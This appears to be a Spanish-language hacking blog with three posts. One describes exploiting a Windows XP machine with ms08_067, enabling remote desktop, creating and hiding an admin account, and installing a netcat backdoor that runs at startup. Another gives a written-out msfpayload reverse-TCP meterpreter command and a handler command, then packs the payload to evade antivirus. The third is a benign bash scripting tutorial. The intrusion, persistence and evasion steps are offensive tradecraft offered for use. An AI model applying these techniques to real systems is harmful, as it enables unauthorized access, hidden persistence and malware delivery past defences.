lunes, 9 de diciembre de 2013

Backdorizando un sistema, activando acceso remoto y ocultando usuarios

En esta publicación veremos como activar el acceso remoto de un sistema y como backdorizar un sistema, es decir mantener el acceso a una computadora una vez que ya la hemos hackeado :)

entonces comenzamos :D!!!!!

En esta ocasión haremos la prueba sobre un windows xp (si ese sistema operativo que ya no es tan nuevo pero todavía hay muchisimas computadoras con ese windows incluso he visto maquinas con windows 98 XD).

Primero procedemos a detectar los dispositivos conectados a mi red


Entonces supongamos que llama mi atención la 1er ip es decir la ip 192.168.1.14, Averiguemos que sistema operativo corre sobre esa ip


Estamos de suerte todo parece indicar que esa computadora tiene windows xp y tiene abierto el puerto 445 (Asi es estaremos usando el exploits mas famoso que utilizamos cuando estamos empezando a utlizar metasploit "ms08_067_netapi")

Antes de lanzar nuestro ataque con metasploit, verifiquemos si ese sistema es vulnerable al exploit que queremos lanzarle, con ayuda de nmap y uno de sus scripts sabremos si vale la pena lanzar el exploit.




 

Aaaaa!!!!! que ha pasado ¿A caso ese script ya no funciona?
Veamos al parecer hubó un punto en el que una actualización de nmap hizo que cambiara la sintaxis para poder lanzar nmap en conjunto con el script que verifica si el sistema es vulnerable, pero no hay problema el mismo nmap nos muestra como solucionar este detalle
(Asi es todo es cuestión de leer que es lo que nos aparece en pantalla, por favor lean la mayoria de las veces los problemas o los detalles que surgen tienen solución y los mismos programas nos dan esa solución)

el script me esta indicando que agregue lo siguiente: --script-args=unsafe=1



Ahora vemos como agregando lo que el programa nos indicaba el script hace su trabajo correctamente y detectamos que esa computadora si es vulnerable al ataque que teniamos pensado realizar, entonces vamos a proceder con el ataque



Listo ya estamos dentro del sistema con una seción de meterpreter!!!!
(Si has llegado a este blog es por que ya sabes que fue lo que hice con ese comando, en 1 solo comando mande llamar a mestasploit, configure el exploit y el payload, si no tienes idea de que es cada cosa entonces es un buen momento para hacer la investigación por tu cuenta ;)  )

Bueno una vez dentro del sistema confirmemos que no hay acceso remoto abrimos otra pestaña y de nuevo escaneamos la maquina comprometida



Haciendo una pequeña busqueda en el tema de acceso remoto en forma gráfica que tiene windows, descubrimos que el puerto para el acceso remoto gráfico que trae windows es el puerto 3389, entonces en nuestra sesión de meterpreter tenemos un comando que nos activa el acceso remoto en el sistema que tenemos comprometid0 :D

el comando es run getgui -e

Y el resultado es!!!!!!!!!!!
Meterpreter session 1 closed, bueno al parecer el scrip no esta funcionando muy bien, de modo que no podemos activar el escritorio remoto por medio meterpreter.

Intentemos algo mas :)

vamos a interactuar con la consola de msdos del sistema haber que podemos lograr :D



recordamos que esta computadora no tiene el acceso remoto activado y queremos activarlo, entonces habramos el puerto que le corresponde al escritorio remoto de windows, como ya hicimos la investigacion sabemos que debemos abrir el puerto 3389.



Al parecer el comando fue correcto y el puerto 3389 fue abierto extitosamente, comprobemoslo con otro comandos de ms-dos


Ahi podemos comprobar que si se abrio el puerto 3389, es el ultimo de la lista

Ahora procedamos a escanear de nuevo el sistema solo para comprobar que ya tenemos el puerto 3389 abierto :D



Rayos!!!! que a pasado si ya habrimos el puerto necesario para el escritorio remoto.
Veamos que nos dice la configuracion de escritorio remoto de windows




Al parecer, apesar de que el puerto del Escritorio remoto este abierto el servicio esta deshabilitado
regresemos a kali para tratar de habilitarlo


aprovechamos la shell de ms-dos que tenemos, o incluso esto que haremos con la shell de ms-dos lo podriamos hacer desde meterpreter.

Vamos a modificar el valor del registro que corresponde a la habilitacion del Escritorio remoto


Bueno ahi vemos que en el 1er intento tuve un error por que le puse red en vez de reg,
Ahora ¿por que deje mi error y por que lo menciono? pues para que tomen en cuenta que cuando esten realizando algo y obtengas un error, recuerda que debes de darle una revisada a lo que estas haciendo ;)

ahora comprobemos con nmap si ya tenemos el puerto abierto XD




Excelente al parecer ya podremos acceder graficamente al equipo comprometido


 


Bueno aqui surge un detalle necesito tener un nombre de usuario y una contraseña para acceder, tenemos 2 opciones

1er opción, tratar de obtener las contraseñas de los usurios de ese windows
2da opción, hacer un usuario desde la consola de ms-dos

entonces vayamos por la segunda opción :D

procedemos a crear un usuario



Hemos creado un usuario llamado kali y su contraseña es t3mp0r4l, entonces hay que proceder a tratar de conectarnos



 


vaya nos hemos topado con un problema, el usuario que acabamos de crear carece de privilegios :(
Entonces procedamos a elevarle privilegios :D :D :D :D :D
nos vamos a la shell de ms-dos que tenemos



Excelente al parecer ya tenemos privilegios adminsitrativos intentemos de nuevo conectaronos :D



Listo ya tenemos acceso con un usuario legitimo, ahora aparece el siguiente mensaje, nos dice que vamos a desconectar al usaurio que ya se encuentra logueado en ese sistema entonces por lo pronto no vamos a conectarnos, aprovechemos que ya tenemos el acceso remoto y tenemos una shell en el sistema.
Por el momento procedemos a backdorizar el sistema :D probablemente este debio ser nuestra prioridad y debio haber sido el 1er paso, asi que toma en cuenta que en cuanto tengas acceso al sistema una de las 1eras cosas que debes hacer es asegurar tu permanencia en el equipo que hayas comprometido.

entonces hay varios backdoors que funcionan muy bien, al dia de hoy los backdoors que tiene metasploit en la shell de meterpreter, son facilmente detectados por todos los antivirus, entonces usaremos netcat aprovechando que kali trae ese programa.
ojo netcat no es un virus es una herramienta de administración remota, pero como muchos hackers empezaron a utilizarlo para backdorizar sistemas pues los antivirus lo detectan como un virus, aunque realmente no lo es.

entonces para evitar problemas utilizemos una herramienta de la que ya hemos hablado en este blog
The enigma protector
aqui te pongo la liga para que lo veas si es que aun no lo conoces
http://hacking-pentesting.blogspot.mx/2013/12/evadiendo-antivirus.html

entonces primero encontremos netcat


Vemos que incluso hay varias herramientas para .exe es decir windows, ademas de una carpeta de backdoors pero usaremos netcat entonces ahora procedemos a usar the enigma protector para evitar que los antivirus lo detecten ese paso no lo voy a documentar ya que ahi esta el link al post donde hablamos de ese programa.

bueno una vez que le hemos pasado el software the enigma protecto a nuestro netcat lo ponemos en nuestro Desktop de kali y porcedemos a subirlo, la ruta mas conveniente seria c:\windows\system32


observen que me sali de la consola de ms-dos y desde meterpreter puse /root/Desktop/nc.exe c:\\windows\\system32 <-- ojo con eso si no pongo las doble \\ no podría subir el backdoor ;)

ahora procedemos a configurarlo para que se inicie cada vez que esa computadora se encienda y cargue el sistema operativo, lo primero que haremos es verificar cuales programas se ejecutan al inicio de windows


Bueno ahi vemos los 4 programas que se inician al cargarse el sistema operativo
Ahora procedamos a configurar que nuestro backdoor se ejecute al inicio de la carga del sistema



Al parecer todo fue correcto al principio puse para que el backdoor se ejecutara a travez del puerto 445 lo cual es un error por que ese puerto ya esta utilizado por windows entonces volvi a ejecutar el comando y esta vez lo puse en el puerto 455 :)

comprobemos si es que esta configurado para lanzarse al inicio de windows




Todo correcto!!! pero falta otro paso mas!!! hay que abrir el puerto 455 en el firewall :)



Bueno aqui hemos configurado para que se habra el puerto 455 y de paso comprobamos que ya tenemos abierto ese puerto :D

muy bien ahora ye tenemos 3 cosas

1 Activamos el acceso remoto
2 Tenemos un usuario y contraseña en ese sistema y nuestro usuario tiene privilegios administrativos
3 Tenemos backdorizado el sistema

ahora hagamos algo un poco mas complejo, vamos a ocultar nuestro usuario :)

procedmos a salirnos de la shell de ms-dos para regresar a mterpreter y poner el comando idletime



Con el comando idletime podemos ver por cuanto tiempo el usaurio de la computadora que hemos comprometido no ha tocado ni el mouse ni el teclado de su computadora, y eso ¿para que me serviria? pues tal vez sea un buen momento de acceder remotamente para hacer una modificacion al registro de windows y poder ocultar el usuario :)
(por supuesto podriamos hacerlo desde la shell de ms-dos que ya tenmos lista pero ese tipo de temas mas especializados se ven en el curso oficial)

Antes de hacer la modificacion veamos el panel de control de la maquina comprometida



Ahi comprobamos que el usuario que hicimos llamado kali, es visible entonces procedemos a ocultarlo de la siguiente manera

para hacer eso habrimos el registro de windows y nos dirijimos a la ruta

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Nt\CurrentVersion\Winlogon\SpecialAccounts\UserList
Y creamos un nuevo DWORD value y le damos el nombre de el usuario que queremos ocultar en ese caso se llama kali



Y procedemos a crear el valor DWORD con el nombre kali :)



Y ya que hacemos eso veamos el resultado!!!!


 

Ahi esta el resultado por lo menos ya no es visible a simple vista, pero el usuario no esta completamente oculto podriamos verlo en la consola de ms-dos del sistema con el comando net user

por ejmplo veamos


Puntos a tomar en cuenta:
  • Esto tambien se puede hacer con windows 7 pero para configurar el firewall el comando cambia un poco
  • Backdorizar un windows vista, windows 7, windows 8 es un poco mas complicado por que tienen proteccion las carpetas y es un poco mas complicado el elevar privilegios pero si es posible, (en el curso oficial de este blog enseñamos como hacerlo)
  • Ocultar usuarios tambien se puede hacer remotamente y por medio de una shell si tenemos una consola
  • Esto solo fue una forma sencilla de hacerlo
  • Desde la consola de ms-dos de windows podemos descargar programas
Saludos espero hayan disfrutado de esta publicacion tanto como yo disfrute haciendola, recuerden!!!! nunca pongo los comandos, prefiero poner las evidencias de esa manera los obligo a que escriban todo!!! :D :D :D :D :D

miércoles, 4 de diciembre de 2013

Evadiendo antivirus

En este post veremos una técnica sencilla y efectiva de evadir antivirus.
Comunmente encontraras este tema como bypass antivurs, si buscas la definición por la web acerca de bypass antivirus te daras cuenta que no hay algo concreto, hacer un bypass simplemente es hacer que los antivirus no detecten nuestros programas maliciosos :D

Hay muchisimas técnicas para hacer este tipo de trabajos y se debe tomar en cuenta 2 puntos muy importantes:

El primer punto:
Si tenemos un antivirus como Avg, avast, avira, etc etc y hacemos una técnica de bypass y el antivirus que tengamos no detecta nuestro programa malicioso, eso no quiere decir que ningun antivirus vaya a detectar nuestro programa o que el bypass sea efectivo en todos los antivirus

El segundo punto:
probablemente nuestro bypass funcione por un tiempo pero como los antivirus se actualizan, pues es posible que con el tiempo nuestro bypass no funcione y cualquier antivirus nos detecte


























Para este ejercicio el antivirus que usaremos será el AVG 2014, aqui pongo la prueba que esta actualizado al fia de hoy (miercoles 4 de diciembre del 2013)


El programa que usaremos se llama The Enigma Protector, este es un sistema profesional para licencias y protección de archivos ejecutables en windows, The Enigma Protector es una herramienta escensial para cada desarrollador de software comercial.

¿Alguna vez tuvieron algun programa y aunque no era un virus o un programa malicioso su antivirus lo detectaba como si fuera un virus? si alguna vez les ha pasado tal vez con The Enigma protector puedan solucionar ese problema.


  


Bueno vamos sobre la practica, lo primero que debemos de hacer es nuestro payload
 ponemos el comando:
msfpayload windows/meterpreter/reverse_tcp lhost="mi ip local" lport=1234 X > /root/Desktop/virus.exe

supongo  que no es necesario explicar ese comando, si has dado con este blog y no sabes que es cada cosa que escribí en ese comando te sugiero buscar en google el curso que se llama
metasploit unleashed <-- es gratuito y esta muy bien explicado.




Este archivo llamado pacman.exe lo debemos pasar a nuestra maquina que tiene el sistema operativo windows y que tiene el The Enigma Protector instalado




Pero!!!! antes de pasar el archivo supongo que sería buena idea tener listo nuestro metasploit
ponemos el comando msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp lhost=192.168.1.71 lport=1234 E

Listo ya tenemos nuestro metasploit listo para tener una sesion de meterpreter cuando ejecuten nuestro pacman.exe, ahora antes de pasar nuestro pacman.exe hay que desactivar el antivirus, claro no para ejecutarlo sino para que el antivirus no vaya a borrar el archivo, recuerden que tenemos que modificarlo entonces desactivamos el antivirus para poder trabajar sobre el archivo pacman.exe



Una vez que hayamos desactivado el antivirus y hayamos copiado nuestro archivo pacman.exe a nuestro windows abrimos el programa The Enigma Protecto y damos click en Directorio





Una vez que hayamos dado click en Directorio buscamos nuestro archivo pacman.exe y damos click en el boton abrir, entonces ahora se nos mostrara que se va a crear un archivo llamado pacman_protected.exe solo tenemos que dar click en el boton proteger





Una vez que The Enigma Protector haya terminado el trabajo nos aparecerá de la siguiente manera y simplemente debemos dar click en el boton cerrar


Por ultimo cuando cerramos The Enigma protector nos pregunta si queremos salvar el proyecto, ahi simplemente le damos click en no




Aqui vemos como tenemos el archivo original pacman.exe y el archivo modificado pacman_protected.exe


Escaneemos el archivo pacman


Aqui podemos ver como AVG lo detecta rápidamente

Ahora hagamos el escaneo sobre el archivo pacman_protected



Vemos que el antivirus ahora no lo ha detectado, pero ahora debemos comprobar que nuestro archivo .exe sigue funcionando es decir nuestro payload no haya quedado "corrupto" por la modificacion que hicimos, entonces procedemos a ejecutarlo































Ahora veamos en nuestro kali que ha pasado




Como vemos tenemos meterpreter dentro del sistema veamos sobre que sistema operativo fue ejecutado nuestro payload



Bueno aqui podemos ver que esto funciona perfectamente con un antivirus actualizado y sobre un windows 7 actualizado y de 64 bits.

Es todo por el momento espero hayan disfrutado de este post :)










lunes, 2 de diciembre de 2013

Programacion de scripts con bash


Programando scripts en bash

Antes de empezar a tirar codigo :p adentremonos en un poco de pensamientos personales XD y despues un poco de teoría.

Cuando estas en el mundo del hacking y el pentesting llega un momento en el que es necesario y muy importante el hecho de que uno desarrolle sus propias herramientas o incluso que sepa leer lenguajes de programación para modificar y/o adecuar herramientas que tengamos en nuestro poder, particularmente me refiero a los scripts.

Ya tiene tiempo que tengo el entusiasmo de hacer un post sobre programación enfocada al hacking y pentesting y parece que hoy llego el día :D

Debo de mencionar que todos los ejemplos serán fotografías ya que de esa manera obligaré a todos a escribir el coódigo de nuevo para que no hagan solo lo copien :D de manera que si su script tiene algun error tendrám que identificarlo y repararlo por ustedes mismos :p

Bash:
Es el interprete de comandos que tienen la mayoría de las distribuciones linux (obiamente esto es una definición muy corta) entonces ya que es el interprete de la mayoría de las consolas de linux quiere decir que cuando estemos programando, bash entenderá los comandos de linux.

Antes de empezar a desarrollar nuestras herramientas hay que empezar con lo básico es decir aprendamos un poco de programación en bash.
Lo primero que necesitamos es saber es donde se encuentra el interprete de bash ¿espera el qué? jajaja bueno el interprete es el programa que entiende que es lo que estamos escribiendo en nuestro programa.

entonces para saber donde esta es interprete utilizemos el siguiente comando
which bash
Aqui vemos que la ruta donde se encuentra el interprete de bash es /bin/bash ahora ya podemos empezar a trabajar :D

hagamos nuestro primer programa que imprima un mensaje en pantalla

 ahora si empecemos en la 1er linea va la ubicacion del interprete y en las siguientes lineas el cuerpo de nuestro programa

 Aqui vemos que en la 1er linea mandamos llamar al interprete y las siguientes 4 lineas las usamos para documentar el programa, hasta la 6ta linea damos la instrucción de imprimir un mensaje en pantalla, pero todavía no terminamos hay que darle permisos de ejecución a nuestro archivo

Con el comando ls -l vemos que el archivo esta sin permisos de ejecución, (para permisos y comando chmod creo que hay bastante material en la red ), para ejecutar el script sería de la siguiente manera ./mensaje.sh

 Como vemos en la imagen, no es posible ejecutar el script ya que no tiene permisos de ejecucion entonces ahora demosle permisos puede ser:
chmod +x mensaje.sh
             Ó
chmod 775 mensaje.sh

de nuevo ponemos ls -la y vemos que el color de nuestro script cambio a verde ademas en la parte de la izquierda vemos una x lo cual quiere decir que ya puede ser ejecutado nuestro script
Listo script ejecutado exitosamente, bueno ahora que ya sebemos todos los pasos podemos irnos mas rápido, asi que demosle velocidad a esto :D

Veamos como declarar una variable e imprimirla en pantalla

Hacemos todo lo necesario para poder ejecutar el script y procedemos a ejecutarlo

Ahora veamos variables globales y variables locales
y aqui ejecutamos

Ahora veamos como recibir datos del teclado

Procedemos con la ejecución

Siguiente programa, hagamos un programa que detecta las teclas CTRL+c y usemos la "trampa" de bash

Procedemos a ejecutar la "trampa de bash"

Nuestro siguiente programa leerá un archivo

Aqui la ejecución

Creo que es un buen momento para mencionar las comparaciones aritmeticas en bash
-lt <
-gt >
-le <=
-ge >=
-eq ==
-ne !=

Teniendo ya conocimiento de las comparaciones artimeticas en bash hagamos otro tipo de cosas :)
hagamos  veamos como comprar valores de == en bash

Ejecutamos

Asi como hay operadores aritmeticos hay comparadores de cadena
= equal
!= not equal
< less then
> greater then
-n s1 string s1 is not empty
-z s1 string s1 is empty


Ejecutamos

Ahora veamos el ciclo for

Ejecutamos
También podemos ejecutarlo directamente desde la consola
Ahora hagamos un script para seleccionar en bash
Porcedemos con la ejecucion
Veamos otra manera de hacer elecciones, esta vez con case

Procedemos a ejecutarlo

Ahora veamos operaciones aritmeticas en bash
Procedemos a ejecutar

Por ultimo hagamos un script que detecte todas las ip que estan en uso en nuestra red
Ahora procedemos con la ejecución

Bueno esperemos tener una puequeña base de la programación de scripts en bash espero haya quedado todo entendido y este proximo año uno de sus propositos de año nuevo sea aprender algun lenguaje de scripting.